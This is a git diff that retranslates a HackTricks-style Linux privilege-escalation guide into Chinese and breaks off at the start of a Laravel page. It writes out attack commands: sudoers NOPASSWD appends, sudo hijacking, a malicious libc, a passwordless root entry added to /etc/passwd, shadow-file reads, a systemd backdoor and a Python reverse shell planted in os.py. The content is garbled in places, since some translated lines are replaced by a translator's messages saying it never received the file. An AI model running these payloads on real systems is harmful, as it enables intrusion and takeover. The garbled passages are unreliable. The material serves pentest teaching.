/etc/sudoers.d/ ``` -如果你有写权限，你就可以滥用此权限 +如果你能写入，你就可以滥用这个权限 ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -滥用这些权限的另一种方法: +另一种滥用这些权限的方法： ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -1005,17 +1031,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -有一些替代 `sudo` 二进制的选项，例如 OpenBSD 的 `doas`，记得检查其配置位于 `/etc/doas.conf`。 +有一些 `sudo` 二进制替代品，例如用于 OpenBSD 的 `doas`，记得检查其配置文件位于 `/etc/doas.conf`。 ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -如果你知道某个用户通常会连接到这台机器并使用 `sudo` 提权，并且你已在该用户上下文中取得一个 shell，你可以创建一个新的 sudo 可执行文件，该文件会以 root 身份先执行你的代码，然后再执行用户的命令。接着，修改该用户上下文的 $PATH（例如在 .bash_profile 中添加新路径），这样当用户执行 sudo 时，就会运行你的 sudo 可执行文件。 +如果你知道某个**用户通常连接到一台机器并使用 `sudo`** 来提升权限，且你已经在该用户上下文获得了一个 shell，你可以**创建一个新的 sudo 可执行文件**，该文件会以 root 身份先执行你的代码然后再执行用户的命令。然后，**修改该用户上下文的 $PATH**（例如在 .bash_profile 中添加新的路径），这样当用户执行 sudo 时，就会先执行你创建的 sudo 可执行文件。 -注意，如果用户使用不同的 shell（非 bash），你需要修改其他文件来添加该路径。例如[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) 修改了 `~/.bashrc`、`~/.zshrc`、`~/.bash_profile`。你也可以在 [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) 中找到另一个示例。 +注意，如果用户使用不同的 shell（不是 bash），你需要修改其他文件来添加新的路径。例如 [ sudo-piggyback](https://github.com/APTy/sudo-piggyback) 会修改 `~/.bashrc`、`~/.zshrc`、`~/.bash_profile`。你可以在 [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) 中找到另一个示例。 -或者运行类似： +或者运行类似下面的命令： ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -将 lib 复制到 `/var/tmp/flag15/` 后，程序会在此处使用它，正如 `RPATH` 变量所指定的。 +通过将 lib 复制到 `/var/tmp/flag15/`，程序将按 `RPATH` 变量中指定的位置使用它。 ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1065,7 +1091,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -然后在 `/var/tmp` 创建一个恶意库，使用 `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` +然后在 `/var/tmp` 中用 `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` 创建一个恶意库。 ```c #include #define SHELL "/bin/sh" @@ -1078,10 +1104,10 @@ setresuid(geteuid(),geteuid(), geteuid()); execve(file,argv,0); } ``` -## 能力 +## 特权能力 -Linux capabilities 为进程提供了可用 root 权限的一个**子集**。这实际上将 root **权限拆分为更小且独立的单元**。这些单元可以被独立地授予给进程。通过这种方式，完整的权限集被缩减，从而降低被利用的风险。\ -阅读以下页面以**了解更多关于 capabilities 以及如何滥用它们**： +Linux capabilities 向进程提供可用 root 特权的一个子集。**这会将 root 的特权拆分为更小且独立的单元**。每个单元都可以独立地授予给进程。通过这种方式，授予的完整特权集被减少，从而降低被利用的风险。\ +阅读下列页面以**了解更多关于 capabilities 以及如何滥用它们**： {{#ref}} @@ -1090,14 +1116,14 @@ linux-capabilities.md ## 目录权限 -在目录中，**用于 "execute" 的位** 表示受影响的用户可以 **"cd"** 进入该文件夹。\ -**"read"** 位表示用户可以 **列出** **文件**，而 **"write"** 位表示用户可以 **删除** 和 **创建** 新 **文件**。 +在目录中，**标记为 "execute" 的位** 表示受影响的用户可以 **"cd"** 进入该文件夹。\ +**"read"** 位表示用户可以 **列出** **files**，而 **"write"** 位表示用户可以 **删除** 和 **创建** 新 **files**。 ## ACLs -访问控制列表 (ACLs) 代表了自主权限的第二层，能够**覆盖传统的 ugo/rwx 权限**。这些权限通过允许或拒绝非所有者或非组成员的特定用户的访问权来增强对文件或目录访问的控制。该级别的**细粒度确保更精确的访问管理**。更多详情可见 [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux)。 +Access Control Lists (ACLs) 表示可裁量权限的第二层，能够**覆盖传统的 ugo/rwx 权限**。这些权限通过允许或拒绝对特定非所有者或非组成员用户的权限来增强对文件或目录访问的控制。此级别的**细粒度确保更精确的访问管理**。更多详情见 [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux)。 -给用户 "kali" 授予对文件的读写权限： +**给** 用户 "kali" 赋予对文件的 read 和 write 权限： ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) @@ -1110,12 +1136,12 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` ## 打开 shell 会话 -在 **旧版本** 中，你可能能够 **hijack** 不同用户（**root**）的一些 **shell** 会话。\ -在 **最新版本** 中，你将只能 **connect** 到属于 **你自己的用户** 的 screen 会话。然而，你可能会在会话内部发现 **有趣的信息**。 +在 **旧版本** 中，你可能可以 **hijack** 不同用户（**root**）的某些 **shell** 会话。\ +在 **最新版本** 中，你将只能 **连接** 到属于 **你自己的用户** 的 screen sessions。不过，你可能会在会话中发现 **有趣的信息**。 ### screen sessions hijacking -**列出 screen 会话** +**列出 screen sessions** ```bash screen -ls screen -ls / # Show another user' screen sessions @@ -1130,7 +1156,7 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -这是一个出现在 **旧版 tmux** 的问题。作为非特权用户，我无法劫持由 root 创建的 tmux (v2.1) 会话。 +这是**旧的 tmux 版本**的问题。我无法以非特权用户身份劫持由 root 创建的 tmux (v2.1) 会话。 **列出 tmux 会话** ```bash @@ -1156,120 +1182,125 @@ tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -在 2006 年 9 月到 2008 年 5 月 13 日之间，在基于 Debian 的系统（Ubuntu、Kubuntu 等）上生成的所有 SSL 和 SSH 密钥都可能受此漏洞影响。\ -该漏洞在这些操作系统创建新 ssh 密钥时发生，原因是 **只有 32,768 种变体**。这意味着可以计算出所有可能性，并且 **拥有 ssh 公钥可以搜索到对应的私钥**。计算好的可能性可以在这里找到: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +2006年9月到2008年5月13日期间，在基于 Debian 的系统（Ubuntu、Kubuntu 等）上生成的所有 SSL 和 SSH 密钥可能受此漏洞影响。 +该漏洞发生在这些操作系统生成新的 ssh 密钥时，原因是 **只有 32,768 种变体**。这意味着所有可能性都可以被穷举，并且 **拥有 ssh 公钥即可搜索对应的私钥**。 +你可以在此找到预计算的可能性： [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### SSH Interesting configuration values +### SSH 有趣的配置项 -- **PasswordAuthentication:** 指定是否允许密码认证。默认是 `no`。 -- **PubkeyAuthentication:** 指定是否允许公钥认证。默认是 `yes`。 -- **PermitEmptyPasswords**: 当允许密码认证时，指定服务器是否允许使用空密码字符串的账号登录。默认是 `no`。 +- **PasswordAuthentication：** 指定是否允许密码认证。默认值为 `no`。 +- **PubkeyAuthentication：** 指定是否允许公钥认证。默认值为 `yes`。 +- **PermitEmptyPasswords：** 当允许密码认证时，指定服务器是否允许使用空密码字符串的账户登录。默认值为 `no`。 ### PermitRootLogin -指定是否允许 root 使用 ssh 登录，默认是 `no`。可能值： +指定 root 是否可以使用 ssh 登录，默认值为 `no`。可选值： -- `yes`: root 可以使用密码和私钥登录 -- `without-password` or `prohibit-password`: root 只能使用私钥登录 -- `forced-commands-only`: root 仅能使用私钥登录，且仅在指定了 commands 选项时 -- `no` : 不允许 +- `yes`：root 可以使用密码和私钥登录 +- `without-password` 或 `prohibit-password`：root 只能使用私钥登录 +- `forced-commands-only`：root 仅能使用私钥登录，且必须指定 commands 选项 +- `no`：不允许 ### AuthorizedKeysFile -指定包含可用于用户认证的公钥的文件。它可以包含像 `%h` 这样的占位符，会被替换为用户的 home 目录。**你可以指定绝对路径**（以 `/` 开头）或**从用户主目录开始的相对路径**。例如: +指定包含可用于用户认证的公钥的文件。它可以包含像 `%h` 这样的 token（将被替换为用户主目录）。**可以指定绝对路径**（以 `/` 开头）或**相对于用户主目录的相对路径**。例如： ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -该配置会指示，如果你尝试使用用户 "**testusername**" 的 **私钥** 登录，ssh 将会把你的私钥对应的公钥与位于 `/home/testusername/.ssh/authorized_keys` 和 `/home/testusername/access` 的条目进行比较。 +该配置表示如果你尝试使用用户“**testusername**”的**private** key 登录，ssh 会将你的 public key 与位于 `/home/testusername/.ssh/authorized_keys` 和 `/home/testusername/access` 的条目进行比较。 ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding 允许你 **使用本地 SSH 密钥，而不是将密钥留在**（没有口令短语！）你的服务器上。因此，你可以通过 ssh **跳转** **到一台主机**，然后从那里 **再跳转到另一台** 主机，**使用** 位于你**初始主机**的**密钥**。 +SSH agent forwarding 允许你 **use your local SSH keys instead of leaving keys**（不要在服务器上留置没有 passphrases 的 keys！）。因此，你可以通过 ssh **jump** 到一个 **host**，然后从那里使用位于你 **initial host** 的 **key** **jump** 到另一个 **host**。 -你需要在 `$HOME/.ssh.config` 中设置此选项，如下： +你需要在 `$HOME/.ssh.config` 中像下面这样设置该选项： ``` Host example.com ForwardAgent yes ``` -请注意，如果 `Host` 为 `*`，用户每次跳转到不同主机时，该主机都能够访问密钥（这是一个安全问题）。 +注意：如果 `Host` 是 `*`，每次用户跳到不同的机器时，该主机都将能够访问密钥（这是一个安全问题）。 -文件 `/etc/ssh_config` 可以 **覆盖** 这些 **选项** 并允许或拒绝此配置。\ -文件 `/etc/sshd_config` 可以使用关键字 `AllowAgentForwarding` **允许**或拒绝 ssh-agent forwarding（默认允许）。 +文件 `/etc/ssh_config` 可以 **覆盖** 这些 **选项** 并允许或拒绝该配置。\ +文件 `/etc/sshd_config` 可以使用关键字 `AllowAgentForwarding` **允许** 或 **拒绝** ssh-agent forwarding（默认允许）。 -如果你发现 Forward Agent 在某个环境中被配置，请阅读以下页面，**因为你可能能够滥用它来提升权限**： +如果你发现环境中配置了 Forward Agent，请阅读下列页面，因为 **你可能能够滥用它来提升权限**： {{#ref}} ssh-forward-agent-exploitation.md {{#endref}} -## 有趣的文件 +## 相关文件 -### Profile 文件 +### 配置文件 -文件 `/etc/profile` 以及 `/etc/profile.d/` 下的文件都是 **在用户启动新 shell 时执行的脚本**。因此，如果你能够 **写入或修改其中任意一个文件，就可以提升权限**。 +文件 `/etc/profile` 以及 `/etc/profile.d/` 下的文件是**在用户启动新 shell 时执行的脚本**。因此，如果你能够**写入或修改其中的任何一个文件，你就可以提升权限**。 ```bash ls -l /etc/profile /etc/profile.d/ ``` -如果发现任何异常的 profile 脚本，应检查其是否包含 **敏感信息**。 +如果发现任何可疑的配置文件脚本，应检查其中是否有**敏感信息**。 ### Passwd/Shadow 文件 -根据操作系统，`/etc/passwd` 和 `/etc/shadow` 文件可能使用不同的名称，或可能有备份。因此建议 **找到它们全部** 并 **检查是否可读**，以查看 **文件中是否有哈希**： +根据操作系统，`/etc/passwd` 和 `/etc/shadow` 文件可能使用不同的名称或存在备份。因此建议**查找所有这些文件**并**检查是否可读取**，以查看文件中**是否包含哈希**： ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -在某些情况下，你可能会在 `/etc/passwd`（或等效）文件中发现 **password hashes**。 +在某些情况下，你可以在 `/etc/passwd`（或等效）文件中找到 **password hashes** ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` ### 可写的 /etc/passwd -首先，使用下面任一命令生成一个密码。 +首先，使用下面的其中一个命令生成一个密码。 ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -然后添加用户 `hacker` 并设置生成的密码。 +我没有收到 src/linux-hardening/privilege-escalation/README.md 的内容。请把该文件的文本粘贴过来，我会把其中的英文翻译成中文并保留所有 markdown/HTML 标签、路径和代码不被翻译。 + +另外，请确认以下两点： +- 你希望我在翻译的文档里以怎样的形式“添加用户 `hacker` 并添加生成的密码”？（例如：添加一段命令示例（useradd / passwd 命令）还是在文档中插入一行说明和密码） +- 我可以为你生成一个安全密码并把它写入翻译文档，但我不能在你的系统上实际创建用户或设置密码——我只能提供要运行的命令或文档说明。是否现在就生成密码？如果是，请确认密码复杂度（长度，是否包含符号等）。 ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` 例如： `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -你现在可以使用 `su` 命令，凭据为 `hacker:hacker` +现在你可以使用 `su` 命令，以 `hacker:hacker` 登录 -或者，你可以使用以下行添加一个没有密码的虚拟用户。\ +或者，你可以使用以下几行来添加一个无密码的虚拟用户。\ 警告：这可能会降低机器当前的安全性。 ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -注意：在 BSD 平台中 `/etc/passwd` 位于 `/etc/pwd.db` 和 `/etc/master.passwd`，而 `/etc/shadow` 则重命名为 `/etc/spwd.db`。 +注意：在 BSD 平台上 `/etc/passwd` 位于 `/etc/pwd.db` 和 `/etc/master.passwd`，同时 `/etc/shadow` 被重命名为 `/etc/spwd.db`。 -你应该检查是否可以 **写入某些敏感文件**。例如，你能否写入某些 **服务配置文件**？ +你应该检查是否可以 **写入某些敏感文件**。例如，你能否写入某个 **服务配置文件**？ ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -例如，如果机器正在运行 **tomcat** 服务器，并且你可以 **在 /etc/systemd/ 内修改 Tomcat 服务配置文件，** 那么你可以修改以下行： +例如，如果机器正在运行 **tomcat** 服务器并且你可以 **修改 /etc/systemd/ 中的 Tomcat 服务配置文件，** 那么你可以修改以下几行： ``` ExecStart=/path/to/backdoor User=root Group=root ``` -你的 backdoor 将在 tomcat 下次启动时被执行。 +你的 backdoor 会在下次启动 tomcat 时被执行。 ### 检查文件夹 -以下目录可能包含备份或有趣的信息： **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (你可能无法读取最后一个但可以尝试) +以下文件夹可能包含备份或有用的信息： **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (你可能无法读取最后一个，但可以尝试) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### 异常位置/Owned files +### 奇怪的位置/Owned files ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1286,7 +1317,7 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -### 最近几分钟修改的文件 +我没有收到 src/linux-hardening/privilege-escalation/README.md 的内容。请粘贴该文件的内容（保留原有的 Markdown/HTML 标签、路径和代码块），我会把英文翻译为中文。 ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` @@ -1302,7 +1333,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **PATH 中的脚本/二进制文件** +### **PATH 中的脚本/二进制** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done @@ -1318,20 +1349,20 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### 已知包含 passwords 的文件 +### 已知包含密码的文件 -阅读 [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) 的代码，它会搜索 **可能包含 passwords 的多个文件**。\ -**另一个有趣的工具** 是: [**LaZagne**](https://github.com/AlessandroZ/LaZagne)，这是一个开源应用，用于检索存储在本地计算机（Windows、Linux & Mac）上的大量 passwords。 +阅读 [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) 的代码，它会搜索 **可能包含密码的若干文件**。\ +**另一个有趣的工具** 是: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) 这是一个开源应用，用于检索存储在本地计算机上的大量密码，适用于 Windows、Linux & Mac。 ### 日志 -如果你能读取日志，可能会在其中找到 **有趣/机密的信息**。日志越异常，可能越有价值（大概）。\ -另外，一些“bad”配置的（backdoored?）**audit logs** 可能允许你将 **passwords 记录** 到 audit logs 中，正如这篇文章所述： [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +如果你能读取日志，你可能会在其中找到 **有趣/机密的信息**。日志越异常，可能越有价值（大概）。\ +另外，一些“**配置不当的**”（被植入后门？）**审计日志** 可能允许你在审计日志中 **记录密码**，如这篇文章所述： [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -为了 **读取日志**，组 [**adm**](interesting-groups-linux-pe/index.html#adm-group) 会非常有用。 +为了读取日志，组 [**adm**](interesting-groups-linux-pe/index.html#adm-group) 会非常有帮助。 ### Shell 文件 ```bash @@ -1344,43 +1375,43 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` -### Generic Creds Search/Regex +### 通用 Creds Search/Regex -你还应该检查文件是否在其 **name** 中或 **content** 内包含单词 "**password**"，也要检查日志中是否包含 IPs 和 emails，或哈希的正则表达式。\ -我不会在这里列出如何执行所有这些，但如果你感兴趣，可以查看 [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) 执行的最后几项检查。 +你还应该检查文件名或内容中包含单词 "**password**" 的文件，也要在日志中检查 IPs 和 emails，或 hashes regexps。\ +我不会在这里列出如何执行所有这些操作，但如果你感兴趣你可以查看 [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) 执行的最新检查。 ## 可写文件 ### Python library hijacking -如果你知道 python 脚本将从 **从何处** 被执行，并且你 **可以写入该文件夹** 或者可以 **修改 python libraries**，你就可以修改 os 库并 backdoor it（如果你可以写入 python 脚本将被执行的位置，就复制并粘贴 os.py 库）。 +如果你知道 **where** 一个 python 脚本将被执行并且你 **can write inside** 那个文件夹或你可以 **modify python libraries**，你可以修改 OS 库 并 backdoor it（如果你可以写入 python 脚本将被执行的位置，复制并粘贴 os.py 库）。 -要 **backdoor the library**，只需在 os.py 库末尾添加以下行（更改 IP 和 PORT）： +要 **backdoor the library**，只需在 os.py 库末尾添加以下行（更改 IP and PORT）： ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate 利用 +### Logrotate 漏洞利用 -A vulnerability in `logrotate` lets users with **write permissions** on a log file or its parent directories potentially gain escalated privileges. This is because `logrotate`, often running as **root**, can be manipulated to execute arbitrary files, especially in directories like _**/etc/bash_completion.d/**_. It's important to check permissions not just in _/var/log_ but also in any directory where log rotation is applied. +`logrotate` 中的一个漏洞允许对日志文件或其父目录具有 **write permissions** 的用户可能获得提权。因为 `logrotate`，通常以 **root** 身份运行，可以被操纵以执行任意文件，尤其是在像 _**/etc/bash_completion.d/**_ 这样的目录中。重要的是不仅要检查 _/var/log_ 中的权限，还要检查任何应用了日志轮换的目录。 > [!TIP] -> 此漏洞影响 `logrotate` 版本 `3.18.0` 及更早版本 +> 该漏洞影响 `logrotate` 版本 `3.18.0` 及更早版本 -More detailed information about the vulnerability can be found on this page: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +关于该漏洞的更多详细信息请见此页面： [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -You can exploit this vulnerability with [**logrotten**](https://github.com/whotwagner/logrotten). +你可以使用 [**logrotten**](https://github.com/whotwagner/logrotten) 来利用此漏洞。 -This vulnerability is very similar to [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so whenever you find that you can alter logs, check who is managing those logs and check if you can escalate privileges substituting the logs by symlinks. +此漏洞与 [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs)** 非常相似， 因此每当你发现可以修改日志时，检查谁在管理这些日志，并检查是否可以通过将日志替换为符号链接来提升权限。 ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**漏洞参考：** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**. +如果由于某种原因，用户能够向 _/etc/sysconfig/network-scripts_ 写入一个 `ifcf-` 脚本，或 **adjust** 已有脚本，则你的 **system is pwned**。 -Network scripts, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are \~sourced\~ on Linux by Network Manager (dispatcher.d). +Network scripts（例如 _ifcg-eth0_）用于网络连接。它们看起来完全像 .INI files。然而，它们在 Linux 上被 Network Manager (dispatcher.d) \~sourced\~。 -在我的案例中，`NAME=` 属性在这些网络脚本中没有被正确处理。如果名称中有 **空格/blank space，系统会尝试执行空格之后的部分**。这意味着 **第一个空格之后的所有内容都会以 root 身份执行**。 +在我的案例中，这些 network scripts 中的 `NAME=` 属性未被正确处理。如果名称中有 **空白/空格，系统会尝试执行空白/空格之后的部分**。这意味着 **第一个空格之后的所有内容都会以 root 身份执行**。 例如： _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1390,15 +1421,15 @@ DEVICE=eth0 ``` (_注意 Network 和 /bin/id 之间的空格_) -### **init, init.d, systemd, and rc.d** +### **init、init.d、systemd 和 rc.d** -目录 `/etc/init.d` 存放用于 System V init (SysVinit) 的 **scripts**，即 **经典 Linux 服务管理系统**。它包含用于 `start`、`stop`、`restart`，有时还包含 `reload` 服务的脚本。这些脚本可以直接执行，也可以通过位于 `/etc/rc?.d/` 的符号链接来调用。在 Redhat 系统中，替代路径为 `/etc/rc.d/init.d`。 +目录 `/etc/init.d` 是 System V init (SysVinit) 的 **脚本** 存放位置，SysVinit 是经典的 Linux 服务管理系统。它包含用于 `start`、`stop`、`restart`，有时还有 `reload` 服务的脚本。这些脚本可以直接执行，或通过位于 `/etc/rc?.d/` 的符号链接来执行。Redhat 系统的替代路径是 `/etc/rc.d/init.d`。 -另一方面，`/etc/init` 与 **Upstart** 相关联，Upstart 是 Ubuntu 引入的较新 **service management**，使用配置文件来管理服务任务。尽管已有向 Upstart 的过渡，但由于 Upstart 中的兼容层，SysVinit 脚本仍然与 Upstart 配置一起被使用。 +另一方面，`/etc/init` 与 Upstart 相关，Upstart 是 Ubuntu 引入的新型服务管理，使用配置文件来管理服务任务。尽管已转向 Upstart，但由于 Upstart 中的兼容层，SysVinit 脚本仍与 Upstart 配置同时使用。 -**systemd** 作为一种现代的初始化和服务管理器出现，提供了按需启动 daemon、automount 管理和系统状态快照等高级功能。它将文件组织在 `/usr/lib/systemd/`（用于发行版包）和 `/etc/systemd/system/`（供管理员修改）中，从而简化系统管理流程。 +systemd 作为现代的初始化和服务管理器出现，提供按需启动守护进程、自动挂载管理和系统状态快照等高级功能。它将文件组织到 `/usr/lib/systemd/`（用于发行版包）和 `/etc/systemd/system/`（供管理员修改），从而简化系统管理流程。 -## 其他技巧 +## Other Tricks ### NFS Privilege escalation @@ -1423,7 +1454,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks 通常 hook 一个 syscall，将有特权的 kernel 功能暴露给 userspace manager。弱的 manager 认证（例如基于 FD-order 的签名校验或糟糕的密码方案）可能允许本地应用冒充 manager，从而在已 root 的设备上升级为 root。更多信息和利用细节请见： +Android rooting frameworks 常通过 hook 一个 syscall 将特权内核功能暴露给 userspace 管理器。薄弱的管理器认证（例如基于 FD-order 的签名校验或糟糕的密码方案）可能允许本地应用模拟该管理器，从而在已被 root 的设备上升级为 root。了解更多及利用细节请见： {{#ref}} @@ -1448,7 +1479,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** 枚举 Linux 和 MAC 中的内核漏洞 [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ @@ -1474,6 +1505,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) - [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/) - [0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html) -- [GNU Bash Reference Manual – Shell Arithmetic](https://www.gnu.org/software/bash/manual/bash.html#Shell-Arithmetic) +- [GNU Bash Manual – BASH_ENV (non-interactive startup file)](https://www.gnu.org/software/bash/manual/bash.html#index-BASH_005fENV) +- [0xdf – HTB Environment (sudo env_keep BASH_ENV → root)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/laravel.md b/src/network-services-pentesting/pentesting-web/laravel.md index 8844d3a4a..5ef81d593 100644 --- a/src/network-services-pentesting/pentesting-web/laravel.md +++ b/src/network-services-pentesting/pentesting-web/laravel.md @@ -2,16 +2,16 @@ {{#include ../../banners/hacktricks-training.md}} -### Laravel SQL注入 +### Laravel SQLInjection -在这里阅读相关信息: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) +在此阅读相关信息: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) --- -## APP_KEY & 加密内部机制 (Laravel \u003e=5.6) +## APP_KEY & Encryption internals (Laravel \u003e=5.6) -Laravel 在底层使用 AES-256-CBC (或 GCM) 和 HMAC 完整性 (`Illuminate\\Encryption\\Encrypter`)。 -最终**发送给客户端**的原始密文是**一个 JSON 对象的 Base64**，例如: +Laravel 在内部使用 AES-256-CBC（或 